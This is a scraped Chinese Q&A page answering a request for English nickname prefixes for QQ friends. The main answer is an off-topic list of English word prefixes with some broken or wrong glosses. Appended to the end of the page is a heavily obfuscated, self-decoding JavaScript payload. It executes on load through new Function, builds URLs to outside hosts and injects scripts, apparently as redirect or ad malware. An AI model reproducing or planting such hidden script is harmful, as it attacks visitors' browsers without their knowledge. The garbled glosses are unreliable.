qq好友备注前缀,最好是英语的, 快点啊,我急用

2024-10-31 15:09:17
推荐回答(5个)
回答(1):

重要前缀讲解
ⅰ.前缀re-
  re-是最常用的前缀之一。它可以加在名词或动词前面,构成新的名词或动词。re-表示以下三方面的意义:   1.表示"回"或"向后"的意   思。例如:return(回来,返回)recall(回忆,召回)retract(缩回,取回)   2.表示"再"、"重新"、"重复"的意思。例如:review(复习)reunion(团圆,重聚)restart(重新开始)reconstruction(重建)   3.表示"相反"、"反对"的意思。例如:rebel(反叛,谋反)reverse(反转,颠倒)resist(反抗,抵抗)
ⅱ.前缀de-与dis-
  前缀de-来自拉丁语,意为"away from",所以这个前缀的意义之一就是"离开"、"出"。它构成的词有一定规律性,常表"离开"这一深层概念,而且常与介词from等搭配,例如:dethrone(废黜)   deport(驱逐出境)deduce(推断) derail(脱轨)   delete his name from the list of members.把他的名字从成员名单上除去。   the train will depart from platform 2.这列火车将从2号站台发车。   另外,前缀de-还表示"除去"、"取消"以及"否定"、"非"、"相反"的意思。例如:decamp(撤营)decode(解码)deforest(砍伐森林)decolonize(非殖民化) devaluation(贬值)   he has been degraded from public office.他已经被解除公职。   he descended from his taxi.他下了出租车。   前缀dis-与前缀de-同源,也来自拉丁语,原义为apart"分开"。dis-具有"不"、"无"的意思,所以加在某些动词或名词前构成反义词。例如:dishonest(不诚实的)disappear(不见,消失)   disorder(无秩序,混乱)   dis-还表示"取消"、"除去"以及"分开"、"离"、"散"的意思。由这些意义构成的词常与from等搭配。例如:   he discounted 15%from the price of a car.他把汽车价格打八五折。   don’tdistracthis mind from his work.不要分散他工作的注意力。   另外,dis-也可表示"相反动作"或加强意义,由它构成的词也常与from等搭配,下面例子都表示"相反动作"。   disappear from the view 消失不见   he was discharged from hospital.他出院了。
ⅲ.前缀in-及im-,il-,ir-
  它们像同胞四兄弟,都是表示否定的前缀。表示"不、无、非"等否定意义。   1.以字母b,m,p开头的单词,其否定前缀为im-。例如:imbalance(不平衡的)immoral(不道德的)impossible(不可能的)   2.以字母l开头的单词用il-;以字母r开头的单词用ir-。例如:illegal(不合法的)illogical(不合逻辑的)irregular(不规则的)irrelative(无关系的)   3.以其他字母开头的为in-。例如: inhuman(不人道的)injustice(不分开的)inseparable(不可分的)incorrect(不正确的)
ⅳ.前缀ex-
  ex-有两个意义:   1.表示"出"、"外"、"由……中弄出"。例如:export(出口,输出)extract(抽出,拔出)expel(逐出,赶出)   2.表示"前任的,以前的"。例如: ex-president(前任总统)ex-soldier(退伍军人)ex-husband   (前夫)
ⅴ.前缀anti-
  anti-表示"反对"、"相反"或"防止"。例如:antiwar(反战的)anti-colonial(反殖民主义的)antifat(防止肥胖的) antimissile(反导弹)
ⅵ.前缀macro-与micro-
  macro-与micro-是一对意义相反的前缀,macro-表示"宏、大";micro-表示"微"。例如:macroworld(宏观世界) macroeconomics(宏观经济学) macroscale(大规模)microscope(显微镜)microworld(微观世界)microele- ment(微量元素)
ⅶ.前缀trans-
  trans-有两个意义:   1.表示"转变"、"变换"。例如: transport(运输---从一地转到另一地) transplant(移植)translation(翻译---从一种语言转为另一种语言)trans- form(使变形,改造)   2.表示"超过"、"横跨"、"超"。例如:transcentury(跨世纪)transnational(跨国的)transcontinental(横跨大陆的) transatlantic(横跨大西洋的)编辑本段常见的英语单词前缀
  a-/an- == no; without; lack, amateur 不熟练的,业余的, anonymous 匿名的, asocial 不好社交的, anechoic 消声的, anharmonic 不和谐的, anarchism 无政府主义, acentric 无中心的, amoral 非道德性的, asexual 无性别的   a- == in; on; at; by; with;to, asleep 在熟睡中, ahead 向前,在前头, abreast 肩并肩地, aside 在一边, abed 在床上, abloom 开花   a-/an- == 加强意义, aloud 高声地, aright 正确地, awake 唤醒, aweary 疲倦的, annotate 注释, announce 宣布,通告   ab- == from; away from, abnormal 不正常的, abroad 国外的, abuse 滥用, absorb 吸去, abaxial 离开轴心的, abend 异常终止   ac- == at; to,或表示加强意义, accustom 使习惯, account 计算,算帐, accredit 信任, accompany 陪伴, acclaim 欢呼,喝彩, accomplish 完成   ad- == to; toward; forward, advice 建议, advocate 倡导, adjoin 临近 adjust 调整, admixture 混杂, adventure 冒险   af- == at; to,或表示加强意义, affright 震惊,恐惧, affix 附加,贴上, affirm 肯定,确实   ag- == at; to,或表示加强意义, aggrandize 增大, aggravate 加重, aggrieve 使悲痛   amphi- == 两、双, amphicar 水陆两用车, amphibian 水陆两栖的, amphitheatre 两边都可观看的剧场,圆形剧场   ante- == before, antecedent 先前的,先行的, antetype 先型,原型, anteport 前港,外港, anteroom 前室,接待室, antedate 比实际早的日期, antestomach 前胃   ap- == 加强或引伸意义, appoint 指定,任命, appraise 评价, appease 平息,绥靖   ap-/apo- == 离开, apogee 远地点(远离地球之处), apostasy 脱党,叛教, aphelion (天文)远日点   ar- == at; to,或表示加强及引伸意义, arrange 安排,布置, arrect 直立的, arrear 在后,拖延   arch- == 1)big; chief. 2)ancient, archbishop 大主教, archaeology 考古学, archaic 古体的,古风的   as == to;forward, assign 派出, assent 同意, assort 分类, assimilate 同化,吸收, assure 使确信,担保, associate 联合,结合   at- == at; to,或表示加强及引伸意义, attrap 使入陷阱, attest 证明, attract 吸引   auto- == self; personally, automation 自动化, autograph 亲笔, autoalarm 自动报警器, autocriticism 自我批评, autorotation 自动旋转, autobiography 自传   be- == make or cause to be, befog 使迷糊, befit 适宜, belittle 贬低, befriend 以朋友相待, becalm 使镇静, befool 欺骗,愚弄   be- == 加以...,饰以...,用...(做某事), bepowder 在...上撒粉, bejewel 饰以珠宝, becloud 遮蔽   == 在, beside 在...旁, below 在...下面, before 在...之前   be- == 加强及引伸意义, befall 降临,发生, bespatter 溅污, belaud 大加赞扬   bene- == well; good, benign 和善的, benevolent 乐善好施的, benefit 好处, benediction 祝福, benefaction 恩惠,善行, beneficent&   bi- == two, bicycle 自行车, bilateral 双方, bimonthly 双月刊, biweekly 双周刊, bicolor 两色的, bilingual 两种语言的   by- == 旁、侧、非正式、副, byroad 小路,僻径, bywork 业余工作, byname 别名,绰号   circu- == around, circulate 流通, circumnavigate 环球航行, circumspect 考虑周到的, circumplanetary 环绕行星的, circumpolar 在两极周围的, circumaviate 环球飞行   co- == together, coaction 共同行动, cooperate 合作, coeducation 男女同校   col- == together, collaboration 协作,勾结, collingual 用同一种语言的, collocate 并置,并列   com- == together, compatriot 同胞,同国人, combine 联合,结合, commiserate 同情   == 加强或引伸意义, commove 使动乱, compress 压缩, commemorate 纪念   == together, concolorous 同色的, connatural 同性质的, contemporary 同时代的   == 加强或引伸意义, conclude 结束,终结, confirm 使坚定, consolidate 巩固,加强   contra- == against, contradiction 矛盾, controversial 可能引起争议的, contraclockwise 逆时针方向的, contra-missile 反导弹导弹, contraposition 对照,针对, contraband 走私,违法交易   cor- == together, correlation 相互关系, corradiate 使(光线)共聚于一点, correspond 符合,相应   cor- == 加强或引伸意义, correct 改正,纠正, corrupt 腐败,败坏, corrugate 使起皱纹   counter- == opposite, counterrevolutionary 反动的, countermeasure 对策,应策, countercurrent 逆流, countermarch 反方向行进, counterattack 反攻,反击, countercharge 反控,反告   de- == down from, deplane 下飞机, dethrone 使离王位, derail 使(火车)脱轨   == 向下、降低、减少, depress 压低,压下, depopulation 人口减少, devalue 贬值   == 使成...,作成...,或仅作加强意义, delimit 划定界限, denude 使裸露, depicture 描绘,描述   == not, denationalize 非国有化, demilitarize 使非军事化, demobilize 复员   == 除去、取消、毁, desalt 除去盐份, deforest 砍伐森林, decontrol 取消管制   dec(a)- == ten, decade 十年, decimal 十进位制的, decathlon 十项全能   deci- == 十分之一, decigram 十分之一克, decimeter 十分之一米, decilitre 十分之一升   demi- == 半, demigod 半神半人, demi-fixed 半固定的, demiwolf 半似狼之犬   di- == 二、双, diatomic 二原子的, disyllable 双音节的, dichromatic 两色的   dia- == through;between;across , diameter 直径, dialogue 对话, diagnosis 诊断   dif- == 1)apart. 2)not;opposite , diffluence 分流, diffident 不自dismember 解体信的, diffuse 散开,散布   dis- == 不、无、相反, dislike 不喜欢, disagree 不同意, discontinue 中断, disorder 混乱, disbelieve 不信, disproof 反证, dishonest 不诚实的, dispraise 贬损,非难, disappear 消失, disremember 忘记, discomfort 不舒服, disability 无能,无力   == 加在含有分开、否定等意义的单词前,作加强意义, dispart 分离,裂开, dissever 分裂,切断, dissemination 散布,传播   == 分开、离、散, dissect 切开, dissolve 分离,溶解, distract 分心,转移, dispense 分配, dispel 驱散, dissipate 驱散,浪费   == 有时作di-,, dispirit 使气馁,使沮丧, divorce 离婚, digress 离正题,入歧路   dys- == 不良、恶、困难, dysfunction (医)机能失调,功能紊乱, dysphonia 发音困难, dyspepsia 消化不良, dyspathy 反感, dysgenesis 生殖力不良, dysopsy 弱视   e- == 加强或引伸意义, evaluate 评价, elongate 使延长,拉长, estop 阻止,禁止, estrange 使疏远, evanish 消失, elaborate 精心制作,详细描述   e- == 出、外, eject 投出,掷出, emigrate 移居国外, elect 选出, emerge 浮出,出现, erupt 喷出, evade 逃出   ef- == 出、离去, effluence 流出, effable 能被说出的, effoliation 落叶   em- == 表示置于...之内、上..., embay 使(船)入湾, embus 上车,装入车中, embosom 藏于胸中,怀抱, emplane 乘飞机, embed 安置, embog 使陷于泥沼中   == 表示用...做某事、饰以...、配以..., embalm 涂以香料(防腐剂), embank 筑堤防护, embar 上门闩,囚禁   == 表示使成某种状态、致使...、使之如...、作成..., embow 使成弓形, empower 使有权力,授权, empurple 使发紫, embody 体现,使具体化, embitter 使受苦, embrown 使成褐色   eco- == ecological, ecosphere 生态圈, ecosystem 生态系统, ecocide 生态灭绝   en- == 表示置于..之中、登上...、使上..., entrain 乘火车, encage 关入笼中, encase 装入, enplane 乘飞机, encave 藏于洞中, enroll 登记,记入名册中, enthrone 使登基, enshrine 藏于神龛中, enfold 包进、拥抱   == make or cause to be,使成某种状态、致使...、使之如...、作成..., enable 使能够, endanger 使受危险, enlighten 启发,启蒙, enlarge 扩大,放大, enrich 使富足, enslave 使成奴隶,奴役   - == 用...来做某事、饰以...、配以..., enchain 用链锁住, enlace 用带缚, entrap 诱陷   == 家在动词之前,表示in,或只作加强意义, enclose 围入,关进, entrust 信任,委托, enforce 强制执行, enkindle 点火, enwrap 包入,卷入, enhearten 鼓舞,振奋   endo- == 内, endoparasite 体内寄生虫, endogamy (同族)内部通婚, endogen内生植物   eu- == good;well;easy, eugenica 优生学, eulogize 赞美, emphemism 委婉语, euphonic 声音优美的, eupepsia 消化良好, euthenics 优境学   ex- == out;out of, exclusive 不包括...的, expose 揭露, emit 发射出, export 出口,输出, exclude 排外,排斥, excavate 挖出,挖掘, exit 出口, extract 抽出,拔出, exhume 掘出   ex- == 前任的、以前的, ex-president 前任总统, ex-Nazis 前纳粹分子, ex-mayor 前任市长, ex-chancellor 前任大学校长, ex-premier 前任总理, ex-wife 前妻   ex- == 表示使、做,或作加强意义, eXPurgate 使清洁, exalt 使升高,增高, excruciate 施刑,使苦   dis- == 取消、除去、毁, disorganize 瓦解, disroot 根除, discourage 使失去勇气, disrobe 脱衣, disarm 解除武装,裁军, dishearten 使失去信心, disburden 解除负担, discolor 使褪色,   表示否定意义的前缀常用的有dis-, il-, im-, in-, ir-, mis-, non-, un-等,在单词的前面加这类前缀常构成与该词意义相反的新词。例如:   appear出现→disappear消失   correct正确的→incorrect不正确的   lead带领→mislead领错   stop停下→non-stop不停   tele代表从远方来的.比如telephone,telegraph

回答(2):

好友备注前缀符号。

最好是英语捏、谢谢、!!

急需

回答(3):

今生来世兄弟丶

回答(4):

☆stride~

回答(5):

FoReveR Even Ever Muc

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();